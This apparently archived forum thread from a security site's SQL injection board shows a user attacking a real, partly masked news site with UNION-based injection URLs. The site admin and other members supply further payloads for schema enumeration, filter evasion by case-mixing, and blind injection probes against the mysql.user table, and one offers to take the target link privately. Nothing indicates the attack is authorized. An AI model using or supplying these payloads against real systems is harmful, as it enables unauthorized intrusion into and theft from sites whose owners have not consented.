Login or Register ::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  :: May 18, 2024 Menu  Home  Logout  Discussions  Forums  Members List  IRC chat  Tools  Base64 coder  MD5 hash  CRC32 checksum  ROT13 coder  SHA-1 hash  URL-decoder  Sql Char Encoder  Affiliates  y3dips ITsec  Md5 Cracker  User Manuals  AlbumNow  Content  Content  Sections  FAQ  Top  Info  Feedback  Recommend Us  Search  Journal  Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9145 People Online: Visitors: 448 Members: 0 Total: 448 PacketStorm News ·301 Moved Permanently read more... IT Security and Insecurity Portal www.waraxe.us Forum Index -> Sql injection -> SQL Injection troubles : SELECT command denied    View previous topic :: View next topic  SQL Injection troubles : SELECT command denied Posted: Mon Oct 20, 2008 9:19 pm pinkman Regular user   Joined: Oct 21, 2008 Posts: 5 Hi all, I've got some troubles with a sql injection : Code: http://**/homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,group_concat(schema_name),7,8,9,10,11,12,13,14+from+information_schema.schemata/* It says : Code: SELECT command denied to user '***_actualites'@'localhost' for table 'schemata' NB : the columns 6 and 7 are vulnerable The version of mysql is 4 and I had to use unhex(hex(@@version)) Code: homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,unhex(hex(@@version)),7,8,9,10,11,12,13,14/* which give : Code: 4.1.11-Debian_4-log Another strange thing that I do not understand : Code: http://***actualites/homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from%20admin/* The answer : Code: Table '***_actualites.admin' doesn't exist So my questions are : 1.How do I bypass this restriction ? 2.Do I Have to use Blind SQL INJECTION because of the mysql 4 ? 3.If I had to use unhex(hex(@@version)), are the sql injection code should had been in hex(sqlcode) ? NB : The following papers I use : http://milw0rm.com/papers/225 Thanks Posted: Mon Oct 20, 2008 11:00 pm waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Try "information_schema.tables", it should be accessible. And if you use UNHEX(HEX(@@version)), then result is plaintext, not hex-encoded. Posted: Tue Oct 21, 2008 11:30 am pinkman Regular user   Joined: Oct 21, 2008 Posts: 5 That doesn't work Code: http://****/actualites/homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,group_concat(schema_table),7,8,9,10,11,12,13,14+from+information_schema.tables/* Which give the same things : Code: SELECT command denied to user '***_actualites'@'localhost' for table 'tables' What I think is that the user doesn't have the rights/permissions to use the commande SELECT. So in this case how could I do? Thanks Posted: Tue Oct 21, 2008 11:54 am waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Try this: Code: http://****/actualites/homepage-liste.php?rubrique=-1+UNION+SELECT+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14+FROM+information_schema.tables+LIMIT+1,1/* Posted: Wed Oct 22, 2008 4:30 pm pinkman Regular user   Joined: Oct 21, 2008 Posts: 5 Still doesn't work Code: SELECT command denied to user '***_actualites'@'localhost' for table 'tables' Posted: Wed Oct 22, 2008 6:09 pm waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu OK, my mistake ... i should have realized before, that you have mysql version < 5.x, so no information_schema here ... Posted: Wed Oct 22, 2008 10:15 pm pinkman Regular user   Joined: Oct 21, 2008 Posts: 5 Yep, that's the bad thing. So I have to use Blind SQL Technics. But there is still one last question ; why the user can't use the SELECT SQL command? Posted: Tue Feb 10, 2009 5:26 pm sangteamtham Beginner   Joined: Feb 10, 2009 Posts: 1 Change sth like UnIon SelECT **** FrOm informtion_schema.tables-- or /* Posted: Tue Feb 10, 2009 6:04 pm waraxe Site admin   Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu sangteamtham wrote: Change sth like UnIon SelECT **** FrOm informtion_schema.tables-- or /* It's mysql ver. < 5.0 with no information_schema ... Posted: Tue Feb 10, 2009 6:10 pm ingh1pped Advanced user   Joined: Dec 13, 2008 Posts: 88 go with blind : http://****/actualites/homepage-liste.php?rubrique=1 and (SELECT 1 from mysql.user limit 0,1)=1 and check if the page is regular loaded. try to change mysql.user with other table that you know exist.. try this.. or send me your link in pm. SQL Injection troubles : SELECT command denied   www.waraxe.us Forum Index -> Sql injection You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT   Page 1 of 1   All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 Year Oldest FirstNewest First  Select a forum Security Research by waraxe----------------General discussionHow to fixMetasploit related Hash cracking requests----------------MD5 hashesAll other hashesHash related information http://www.waraxe.us portal----------------SuggestionsCooperation proposals Security bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holes Various software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo Gallery Programming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssembler Reverse engineering----------------Newbies cornerDisassemblingPHP script decode requests Miscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy database Direct Downloads----------------ToolsTutorialsWordlists Recycle Bin----------------Removed messagesOutdated posts   Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.136 Seconds